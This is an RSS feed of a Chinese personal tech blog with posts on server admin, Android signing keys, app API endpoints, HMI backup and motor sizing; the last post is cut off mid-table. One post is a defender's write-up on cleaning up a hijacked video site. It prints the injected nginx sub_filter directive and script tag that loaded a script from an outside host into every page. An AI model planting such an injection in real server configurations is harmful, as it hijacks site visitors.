<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[有梦想的咸鱼]]></title> 
<description><![CDATA[分享生活，记录点滴]]></description>
<link>https://www.zijincao.cc/</link>
<language>zh-cn</language>
<generator>www.emlog.net</generator>
<item>
    <title>讯搜重启指令</title>
    <link>https://www.zijincao.cc/?post=119</link>
    <description><![CDATA[<p>cd /usr/local/xunsearch &amp;&amp; bin/xs-ctl.sh restart</p>]]></description>
    <pubDate>Thu, 02 Jul 2026 15:37:09 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=119</guid>

</item>
<item>
    <title>CMD生成 Android 签名文件（.keystore 或 .jks）</title>
    <link>https://www.zijincao.cc/?post=118</link>
    <description><![CDATA[<p>&nbsp;</p><p>1.打开终端<br />Windows：打开 CMD 或 PowerShell。<br />Mac/Linux：打开 Terminal。</p><p><br />执行命令将以下命令复制并修改其中的参数后运行：</p><pre class="language-markup"><code>keytool -genkey -v -keystore C:\Users\ASUS\Desktop\紫金草app\NOX\cc.zijincao.nox.jks -keyalg RSA -keysize 2048 -validity 10000 -alias cc.zijincao.nox</code></pre><p><br />C:\Users\ASUS\Desktop\紫金草app\NOX\cc.zijincao.nox.jks：替换为你想保存的路径和文件名。<br />cc.zijincao.nox：替换为你的别名。<br />10000：有效期天数。</p><p>填完之后回车，按提示填写信息<br />输入并确认密钥库密码。<br />输入姓名、组织单位等信息（可直接回车跳过，但建议填写）。</p><p>完整运行过程：</p><pre class="language-markup"><code>C:\Windows\System32&gt;keytool -genkey -v -keystore C:\Users\ASUS\Desktop\紫金草app\NOX\cc.zijincao.nox.jks -keyalg RSA -keysize 2048 -validity 10000 -alias cc.zijincao.nox
输入密钥库口令:

再次输入新口令:

您的名字与姓氏是什么?
  [Unknown]:  福
您的组织单位名称是什么?
  [Unknown]:
您的组织名称是什么?
  [Unknown]:
您所在的城市或区域名称是什么?
  [Unknown]:
您所在的省/市/自治区名称是什么?
  [Unknown]:
该单位的双字母国家/地区代码是什么?
  [Unknown]:
CN=福, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown是否正确?
  [否]:  是

正在为以下对象生成 2,048 位RSA密钥对和自签名证书 (SHA256withRSA) (有效期为 10,000 天):
         CN=福, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
[正在存储C:\Users\ASUS\Desktop\紫金草app\NOX\cc.zijincao.nox.jks]</code></pre>]]></description>
    <pubDate>Tue, 24 Mar 2026 16:07:04 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=118</guid>

</item>
<item>
    <title>我的影视网站被挂马了！！</title>
    <link>https://www.zijincao.cc/?post=116</link>
    <description><![CDATA[<p>我的影视网站被挂马了！！http://www.yaonz.xyz/moment.js 就是这个js文件，使用手机访问的时候会跳黄。</p><p><a target="_blank" href="https://www.zijincao.cc/content/uploadfile/202603/583b1772653915.png" id="ematt:295" rel="noopener"><img title="插入" src="https://www.zijincao.cc/content/uploadfile/202603/583b1772653915.png" alt="ScreenShot_2026-03-05_031455_583.png" width="100%" height="1086" border="0" /></a></p><p>我是这样解决的。</p><p>1.<strong data-path-to-node="22,0,0" data-index-in-node="0">检查定时任务</strong>：在 SSH 输入&nbsp;<code data-path-to-node="22,0,0" data-index-in-node="16">crontab -l</code>。黑客常设定每分钟检查并重新写入木马。</p><pre class="language-markup"><code>crontab -l</code></pre><p>输出为：</p><pre class="language-markup"><code>[root@kvm-2hk8820 ~]# crontab -l
*/3 * * * *  /www/server/cron/1231997074b0061801f09125578f4e6e &gt;&gt; /www/server/cron/1231997074b0061801f09125578f4e6e.log 2&gt;&amp;1
14 13 * * *  /www/server/cron/3ab48c27ec99cb9787749c362afae517 &gt;&gt; /www/server/cron/3ab48c27ec99cb9787749c362afae517.log 2&gt;&amp;1
*/20 * * * *  /www/server/cron/c6a2b972f277720e7c28719fc527ab1b &gt;&gt; /www/server/cron/c6a2b972f277720e7c28719fc527ab1b.log 2&gt;&amp;1
30 1 */3 * *  /www/server/cron/938609c585c5f17f1d3b4d011024ee0e &gt;&gt; /www/server/cron/938609c585c5f17f1d3b4d011024ee0e.log 2&gt;&amp;1
*/10 * * * *  /www/server/cron/3991490181e1ecdc068158ed07cb99e2 &gt;&gt; /www/server/cron/3991490181e1ecdc068158ed07cb99e2.log 2&gt;&amp;1
30 3 * * *  /www/server/cron/19342377d9f22f32807eea11ad3eb9f9 &gt;&gt; /www/server/cron/19342377d9f22f32807eea11ad3eb9f9.log 2&gt;&amp;1
10 4 * * *  /www/server/cron/6593b58256cfbd723ff01d93b508a246 &gt;&gt; /www/server/cron/6593b58256cfbd723ff01d93b508a246.log 2&gt;&amp;1
30 4 * * *  /www/server/cron/7fa1a1f2d91a436744562d1df1ae7164 &gt;&gt; /www/server/cron/7fa1a1f2d91a436744562d1df1ae7164.log 2&gt;&amp;1
20 * * * *  /www/server/cron/f5ce67a3afda0383c6ec776a6b5f4d01 &gt;&gt; /www/server/cron/f5ce67a3afda0383c6ec776a6b5f4d01.log 2&gt;&amp;1
45 * * * *  /www/server/cron/fbbf688a3c5b437f64ae91588b9a2ce2 &gt;&gt; /www/server/cron/fbbf688a3c5b437f64ae91588b9a2ce2.log 2&gt;&amp;1
*/5 * * * *  /www/server/cron/ba5bf005b54fe399295df53fd4ddea93 &gt;&gt; /www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log 2&gt;&amp;1
16 * * * *  /www/server/cron/523d24d6555b22663d87b4ea09779dbf &gt;&gt; /www/server/cron/523d24d6555b22663d87b4ea09779dbf.log 2&gt;&amp;1
12 * * * *  /www/server/cron/c8fb9f932ba39c2c0897b9cfce7b2c0f &gt;&gt; /www/server/cron/c8fb9f932ba39c2c0897b9cfce7b2c0f.log 2&gt;&amp;1
20 2 * * *  /www/server/cron/0193896471cf1065d7693b556b9d71db &gt;&gt; /www/server/cron/0193896471cf1065d7693b556b9d71db.log 2&gt;&amp;1
42 1 * * *  /www/server/cron/ced223288914d9300c9fd3ced7e63445 &gt;&gt; /www/server/cron/ced223288914d9300c9fd3ced7e63445.log 2&gt;&amp;1
32 1 * * *  /www/server/cron/1ef530e6a894a434e5391324584bae54 &gt;&gt; /www/server/cron/1ef530e6a894a434e5391324584bae54.log 2&gt;&amp;1
32 * * * *  /www/server/cron/16d9cb0b684b9caff98d2e548b2dffd7 &gt;&gt; /www/server/cron/16d9cb0b684b9caff98d2e548b2dffd7.log 2&gt;&amp;1
4 * * * *  /www/server/cron/ff09cf4ddd83652c67871b40ce49eebf &gt;&gt; /www/server/cron/ff09cf4ddd83652c67871b40ce49eebf.log 2&gt;&amp;1
30 * * * *  /www/server/cron/de45340d07d40cab297153d42edbecf7 &gt;&gt; /www/server/cron/de45340d07d40cab297153d42edbecf7.log 2&gt;&amp;1
1 */2 * * *  /www/server/cron/ae3ba4efd2369aff994c98ec34f1c97c &gt;&gt; /www/server/cron/ae3ba4efd2369aff994c98ec34f1c97c.log 2&gt;&amp;1
*/5 * * * *  /www/server/cron/f865a42229ab377f379b325640764e3b &gt;&gt; /www/server/cron/f865a42229ab377f379b325640764e3b.log 2&gt;&amp;1
50 3 * * *  /www/server/cron/ac91f3ba9a7a89ced7f445f6870fc4fb &gt;&gt; /www/server/cron/ac91f3ba9a7a89ced7f445f6870fc4fb.log 2&gt;&amp;1
10 1 * * *  /www/server/cron/efaafce13d0f8dc53407b35c733cc10d &gt;&gt; /www/server/cron/efaafce13d0f8dc53407b35c733cc10d.log 2&gt;&amp;1
40 2 * * 1 /www/server/cron/ae4fbb6ad62403fcf6c0a07cd789247c &gt;&gt; /www/server/cron/ae4fbb6ad62403fcf6c0a07cd789247c.log 2&gt;&amp;1
13 1 * * *  /www/server/cron/3fe42ff05568b9cb1752cd1ed6875aa0 &gt;&gt; /www/server/cron/3fe42ff05568b9cb1752cd1ed6875aa0.log 2&gt;&amp;1</code></pre><p>2.查找包含恶意代码的任务</p><pre class="language-markup"><code>grep -r "yaonz.xyz" /www/server/cron/</code></pre><p>输出为： (截取的部分内容)</p><pre class="language-php"><code>/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/3991490181e1ecdc068158ed07cb99e2.log:&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;

/www/server/cron/ba5bf005b54fe399295df53fd4ddea93.log:&lt;head&gt;&lt;title&gt;502 Bad Gateway&lt;/title&gt;&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;</code></pre><p><strong data-path-to-node="1,0,0" data-index-in-node="0">确定投毒源</strong>：<code data-path-to-node="1,0,0" data-index-in-node="9">grep</code>&nbsp;结果证明，劫持脚本是由&nbsp;<strong data-path-to-node="1,0,0" data-index-in-node="26"><code data-path-to-node="1,0,0" data-index-in-node="26">3991490181e1ecdc068158ed07cb99e2</code></strong>&nbsp;和&nbsp;<strong data-path-to-node="1,0,0" data-index-in-node="61"><code data-path-to-node="1,0,0" data-index-in-node="61">ba5bf005b54fe399295df53fd4ddea93</code></strong>&nbsp;这两个计划任务生成的。</p><p>3. 立即删除恶意计划任务</p><pre class="language-markup"><code>rm -f /www/server/cron/3991490181e1ecdc068158ed07cb99e2
rm -f /www/server/cron/ba5bf005b54fe399295df53fd4ddea93
rm -f /www/server/cron/*.log</code></pre><p>4. 计划写入任务删除了，就找具体的代码在哪里</p><p>搜索整个 Nginx 和防火墙目录</p><pre class="language-markup"><code>grep -rn "yaonz" /www/server/panel/plugin/waf/
grep -rn "yaonz" /www/server/nginx/</code></pre><p>输出为：&nbsp;</p><pre class="language-markup"><code>[root@kvm-2hk8820 ~]# grep -rn "yaonz" /www/server/panel/plugin/waf/
grep: /www/server/panel/plugin/waf/: No such file or directory
[root@kvm-2hk8820 ~]# grep -rn "yaonz" /www/server/nginx/
/www/server/nginx/conf/mime.types:101:sub_filter '&lt;/head&gt;' '&lt;script src="//www.yaonz.xyz/moment.js"&gt;&lt;/script&gt;\r\n&lt;/head&gt;';
[root@kvm-2hk8820 ~]# [root@kvm-2hk8820 ~]# </code></pre><p>这时候已经出来了文件地址了。</p><p>/www/server/nginx/conf/mime.types 进入这个文件里，最后一行 删除这一整行，问题至此解决。</p><p><a target="_blank" href="https://www.zijincao.cc/content/uploadfile/202603/f4151772653915.png" id="ematt:293" rel="noopener"><img title="插入" src="https://www.zijincao.cc/content/uploadfile/202603/f4151772653915.png" alt="ScreenShot_2026-03-05_031540_649.png" width="100%" height="842" border="0" /></a></p><p><a target="_blank" href="https://www.zijincao.cc/content/uploadfile/202603/74621772653916.png" id="ematt:297" rel="noopener"><img title="插入" src="https://www.zijincao.cc/content/uploadfile/202603/74621772653916.png" alt="ScreenShot_2026-03-05_031346_595.png" width="100%" height="1128" border="0" /></a></p><p>&nbsp;</p>]]></description>
    <pubDate>Wed, 04 Mar 2026 19:25:15 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=116</guid>

</item>
<item>
    <title>为网站加上防盗功能，针对appfox 和 原生苹果cms</title>
    <link>https://www.zijincao.cc/?post=115</link>
    <description><![CDATA[<p>把以下代码复制到网站的伪静态中，位置在 网站---&gt;设置---&gt;伪静态</p><p>在原有的伪静态代码上面插入。</p><p>&ldquo;vod|vodList|top|nav_video&rdquo;中的&ldquo;|&rdquo;代表或者。</p><pre class="language-markup"><code># 1. 拦截 Appfox 接口的所有被盗刷路径 (不管单双斜杠，涵盖搜索、详情、列表、排行、导航)
if ($request_uri ~* "/api\.php/appfox/(vod|vodList|top|nav_video)") {
    rewrite ^(.*)$ /fangdao.json last;
}

# 2. 拦截系统默认 provide 接口的所有采集请求
if ($request_uri ~* "/api\.php/provide/vod") {
    rewrite ^(.*)$ /fangdao.json last;
}

#原代码
location ~* (runtime|application)/{
	return 403;
}
location / {
	if (!-e $request_filename){
		rewrite  ^(.*)$  /index.php?s=$1  last;   break;
	}
}</code></pre><p>&nbsp;</p><p>在网站根目录新建一个fangdao.json的文件，内容如下：</p><pre class="language-markup"><code>{
    "code": 1,
    "msg": "数据列表",
    "page": 1,
    "pagecount": 1,
    "limit": 20,
    "total": 1,
    "list": [
        {
            "vod_id": 999999,
            "vod_name": "防盗提示",
            "vod_pic": "http://qiniu.zijincao.cc/fd.png-tupian_shoushen",
            "type_name": "提示",
            "vod_play_from": "dplayer",
            "vod_play_url": "防盗提示$http://qiniu.zijincao.cc/FD.mp4"
        }
    ]
}</code></pre><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p>]]></description>
    <pubDate>Mon, 02 Mar 2026 15:39:54 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=115</guid>

</item>
<item>
    <title>「备忘」go项目编译  iptv源</title>
    <link>https://www.zijincao.cc/?post=114</link>
    <description><![CDATA[<p>&nbsp;</p><p>cd /www/wwwroot/go_iptv/</p><p>/usr/local/go/bin/go build -o tvbox_auto main.go</p><p>&nbsp;</p>]]></description>
    <pubDate>Sun, 01 Mar 2026 12:31:14 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=114</guid>

</item>
<item>
    <title>noxapp  appfox 等app的数据接口</title>
    <link>https://www.zijincao.cc/?post=113</link>
    <description><![CDATA[<h3>noxapp：</h3><h4>cms分类数据：</h4><p>/api.php/app/nav?token=</p><h4>nox搜索接口：</h4><p>/api.php/app/search?text=%E8%A1%80%E8%89%B2%E7%8E%AB%E7%91%B0&amp;pg=</p><h4>首页数据：</h4><p>/api.php/app/index_video?token=</p><h4>分类页面的数据(tid对应后台id)：</h4><p>&nbsp; &nbsp; &nbsp; 电影：/api.php/app/video?tid=1&amp;class=&amp;area=&amp;lang=&amp;year=&amp;limit=18&amp;pg=1</p><p>&nbsp; &nbsp; &nbsp; 剧集：/api.php/app/video?tid=2&amp;class=&amp;area=&amp;lang=&amp;year=&amp;limit=18&amp;pg=1</p><p>&nbsp; &nbsp; &nbsp; 综艺：/api.php/app/video?tid=3&amp;class=&amp;area=&amp;lang=&amp;year=&amp;limit=18&amp;pg=1</p><p>&nbsp; &nbsp; &nbsp; 动漫：/api.php/app/video?tid=4&amp;class=&amp;area=&amp;lang=&amp;year=&amp;limit=18&amp;pg=1</p><h4>具体的视频ID数据：</h4><p>/api.php/app/video_detail?id=232640</p><h3>appfox：</h3><h4>cms分类数据：</h4><p>/api.php/Appfox/init</p><h4>分类页面的数据(tid对应后台id)：</h4><p>电影第一页数据(采集用)： type_id=1&nbsp; &nbsp; &nbsp; page=1</p><p>/api.php/Appfox/vodList?area=%E5%85%A8%E9%83%A8&amp;year=%E5%85%A8%E9%83%A8&amp;type_id=1&amp;sort=%E6%9C%80%E6%96%B0&amp;page=1&amp;lang=%E5%85%A8%E9%83%A8&amp;class=%E5%85%A8%E9%83%A8</p><p>剧集第一页数据(采集用)： type_id=2&nbsp; &nbsp; &nbsp; page=1</p><p>/api.php/Appfox/vodList?area=%E5%85%A8%E9%83%A8&amp;year=%E5%85%A8%E9%83%A8&amp;type_id=2&amp;sort=%E6%9C%80%E6%96%B0&amp;page=1&amp;lang=%E5%85%A8%E9%83%A8&amp;class=%E5%85%A8%E9%83%A8</p><p>综艺第一页数据(采集用)： type_id=3&nbsp; &nbsp; &nbsp; page=1</p><p>/api.php/Appfox/vodList?area=%E5%85%A8%E9%83%A8&amp;year=%E5%85%A8%E9%83%A8&amp;type_id=3&amp;sort=%E6%9C%80%E6%96%B0&amp;page=1&amp;lang=%E5%85%A8%E9%83%A8&amp;class=%E5%85%A8%E9%83%A8</p><p>动漫第一页数据(采集用)： type_id=4&nbsp; &nbsp; &nbsp; page=1</p><p>/api.php/Appfox/vodList?area=%E5%85%A8%E9%83%A8&amp;year=%E5%85%A8%E9%83%A8&amp;type_id=4&amp;sort=%E6%9C%80%E6%96%B0&amp;page=1&amp;lang=%E5%85%A8%E9%83%A8&amp;class=%E5%85%A8%E9%83%A8</p><h4>APP后台配置数据：</h4><p>/api.php/Appfox/config</p><h4>appfox搜索接口：</h4><p>/api.php/Appfox/vod?ac=detail&amp;wd=%E8%B6%85%E7%A5%9E</p><h4>appfox首页数据：</h4><p>/api.php/appfox/nav_video?id=1</p><h4>具体的视频ID数据：</h4><p>/api.php/Appfox/vod?ac=detail&amp;ids=341332</p><h3>getapp：</h3><p>/api.php/getappapi.index/initV119</p><p>/api.php/getappapi.index/searchList</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p>]]></description>
    <pubDate>Fri, 27 Feb 2026 12:47:49 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=113</guid>

</item>
<item>
    <title>ProSave的备份和恢复</title>
    <link>https://www.zijincao.cc/?post=112</link>
    <description><![CDATA[<h3>1.连接</h3><p>ProSave与HMI的连接基本与博图与PLC的连接一致，ProSave不用单独下载，博图已经集成。</p><p>&nbsp;</p><h4>1).设置PG/PC接口</h4><p><img src="https://www.zijincao.cc/content/uploadfile/202602/456a1772091391.png" alt="https://www.zijincao.cc/content/uploadfile/202602/456a1772091391.png" width="731" height="846" /></p><h4>2).先获取到触摸屏IP地址，可以在博图获取 也可以在触摸屏设置页面获取</h4><p><img src="https://www.zijincao.cc/content/uploadfile/202602/dc6b1772091531.png" alt="https://www.zijincao.cc/content/uploadfile/202602/dc6b1772091531.png" width="555" height="606" /></p><h4>3).设置本地IP地址与触摸屏IP地址在同一网段</h4><p><img src="https://www.zijincao.cc/content/uploadfile/202602/6bff1772091327.png" alt="https://www.zijincao.cc/content/uploadfile/202602/6bff1772091327.png" width="978" height="783" /></p><p>&nbsp;</p><p>&nbsp;</p><h3>2.备份</h3><p data-path-to-node="7">&nbsp;打开ProSave软件,选择设备类型(触摸屏型号)和连接IP地址(触摸屏IP地址)，点击备份菜单，数据类型选择&ldquo;带有许可证的完全备份&rdquo;，选择保存的文件夹地址，最后点击开始备份。</p><p data-path-to-node="7">触摸屏需要进入设置页面，触摸屏如果在项目的画面页面，会自动重启并进入设置页面，此时可能会报错，需要重新点击&ldquo;开始备份&rdquo;。</p><p data-path-to-node="7"><img src="https://www.zijincao.cc/content/uploadfile/202602/d7a71772092096.png" alt="https://www.zijincao.cc/content/uploadfile/202602/d7a71772092096.png" width="834" height="677" /></p><p data-path-to-node="7">&nbsp;</p><h3 data-path-to-node="7">3.恢复</h3><p data-path-to-node="7">进入恢复菜单，选择已经备份完成的文件，点击&ldquo;开始恢复即可&rdquo;。</p><p data-path-to-node="7"><img src="https://www.zijincao.cc/content/uploadfile/202602/34621772092408.png" alt="https://www.zijincao.cc/content/uploadfile/202602/34621772092408.png" width="834" height="677" /></p><p data-path-to-node="7">&nbsp;</p><h3 data-path-to-node="7">PS：</h3><p data-path-to-node="7">我刚刚进行的备份还原操作，发现原屏幕的亮度都会被备份下来。</p><p data-path-to-node="7">固件版本就是触摸屏中Image version的版本，在settings---&gt;System Control/lnfo ---&gt;System Info里查看。</p><p data-path-to-node="7">我一个屏幕的固件版本为14.00.00.00_31.01 ，另一个固件版本为15.01.00.00_24.01，我把14.00的备份文件恢复到装有15.01的屏幕上未报错，又重新恢复到15.01的项目，未报错</p><p data-path-to-node="7">&nbsp;</p><p data-path-to-node="7"><img src="https://www.zijincao.cc/content/uploadfile/202602/33ed1772092739.png" alt="https://www.zijincao.cc/content/uploadfile/202602/33ed1772092739.png" width="834" height="677" /></p><p data-path-to-node="7"><img src="https://www.zijincao.cc/content/uploadfile/202602/1ddf1772092851.jpg" alt="https://www.zijincao.cc/content/uploadfile/202602/1ddf1772092851.jpg" width="3072" height="4096" /></p>]]></description>
    <pubDate>Thu, 26 Feb 2026 07:17:00 +0000</pubDate>
    <author>咸鱼</author>
    <guid>https://www.zijincao.cc/?post=112</guid>

</item>
<item>
    <title>丝杠垂直运动选型计算</title>
    <link>https://www.zijincao.cc/?post=111</link>
    <description><![CDATA[<p>在群里看到了这个表格，于是想研究一下，怎么最快上手电机选型</p><p><img src="https://www.zijincao.cc/content/uploadfile/202602/24c11772008065.png" alt="https://www.zijincao.cc/content/uploadfile/202602/24c11772008065.png" width="2107" height="3172" /></p><p>&nbsp;</p><p>1.<strong>填入机械与运动参数：</strong></p><ul data-path-to-node="4"><li><p data-path-to-node="4,0,0"><strong data-path-to-node="4,0,0" data-index-in-node="0">滑动部分总质量（M）</strong>：250.0 kg （包含本体和滑台底座）</p></li><li><p data-path-to-node="4,1,0"><strong data-path-to-node="4,1,0" data-index-in-node="0">最大移动距离（L）</strong>：2.5 m （作业长度）</p></li><li><p data-path-to-node="4,2,0"><strong data-path-to-node="4,2,0" data-index-in-node="0">目标定位时间（t）</strong>：3.0 s （工艺节拍要求，必须在3秒内走完这2.5米）</p></li><li><p data-path-to-node="4,3,0"><strong data-path-to-node="4,3,0" data-index-in-node="0">设定的最高线速度（Vl）</strong>：60.0 m/min （即 1 m/s）</p></li><li><p data-path-to-node="4,4,0"><strong data-path-to-node="4,4,0" data-index-in-node="0">滚珠丝杠尺寸</strong>：长度（LB）= 3.0 m， 直径（DB）= 0.04 m， 导程（PB）= 0.02 m</p></li><li><p data-path-to-node="4,5,0"><strong data-path-to-node="4,5,0" data-index-in-node="0">传动与摩擦参数</strong>：减速机减速比（i）= 3.0， 机械效率（&eta;）= 0.9， 导轨摩擦系数（&mu;）= 0.01</p></li><li><p data-path-to-node="4,6,0"><em data-path-to-node="4,6,0" data-index-in-node="0">(额外向外的推力 FA 和倾斜夹角 a 均按 0 计算)</em></p></li></ul><table width="457"><tbody><tr><td width="91">速度：</td><td width="107">　</td><td width="72">Vl=</td><td width="115">60</td><td width="72">m/min</td></tr><tr><td colspan="2">滑动部分质量</td><td>M=</td><td>250</td><td>kg</td></tr><tr><td colspan="2">丝杠部分长度</td><td>L<sub>B</sub>=</td><td>3</td><td>m</td></tr><tr><td colspan="2">丝杠直径</td><td>D<sub>B</sub>=</td><td>0.04</td><td>m</td></tr><tr><td colspan="2">丝杠导程</td><td>P<sub>B</sub>=</td><td>0.02</td><td>m</td></tr><tr><td colspan="2">连轴器质量</td><td>M<sub>C</sub></td><td>0.2</td><td>kg</td></tr><tr><td colspan="2">连轴器直径</td><td>D<sub>C</sub></td><td>0.04</td><td>m</td></tr><tr><td colspan="2">摩擦系数</td><td>&mu;=</td><td>0.01</td><td>　</td></tr><tr><td colspan="2">移动距离</td><td>L=</td><td>2.5</td><td>m</td></tr><tr><td colspan="2">机械效率</td><td>&eta;=</td><td>0.9</td><td>　</td></tr><tr><td colspan="2">定位时间</td><td>t=</td><td>3</td><td>s</td></tr><tr><td>外力</td><td>　</td><td>F<sub>A</sub>=</td><td>0</td><td>N</td></tr><tr><td colspan="2">移动方向与水平轴夹角</td><td>a =</td><td>90</td><td>&deg;</td></tr><tr><td colspan="2">减速机减速比</td><td>i =</td><td>3</td><td>　</td></tr></tbody></table><p>填完参数之后以下8个参数就有自动计算出数值了</p><table width="929"><tbody><tr><td style="width: 113px;" colspan="2" width="163">1)速度曲线</td><td style="width: 110px;" width="107">&nbsp;</td><td style="width: 75px;" width="72">&nbsp;</td><td style="width: 118px;" width="115">&nbsp;</td><td style="width: 75px;" width="72">&nbsp;</td><td style="width: 75px;" width="72">&nbsp;</td><td style="width: 156px;" width="153">&nbsp;</td><td style="width: 75px;" width="72">&nbsp;</td><td style="width: 106px;" width="103">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 216px;" colspan="2">加速时间</td><td style="width: 75px;">t<sub>1</sub>=</td><td style="width: 118px;">t-L/Vl</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">0.5</td><td style="width: 75px;">s</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 113px;" colspan="2">2)电机转速</td><td style="width: 110px;">&nbsp;</td><td 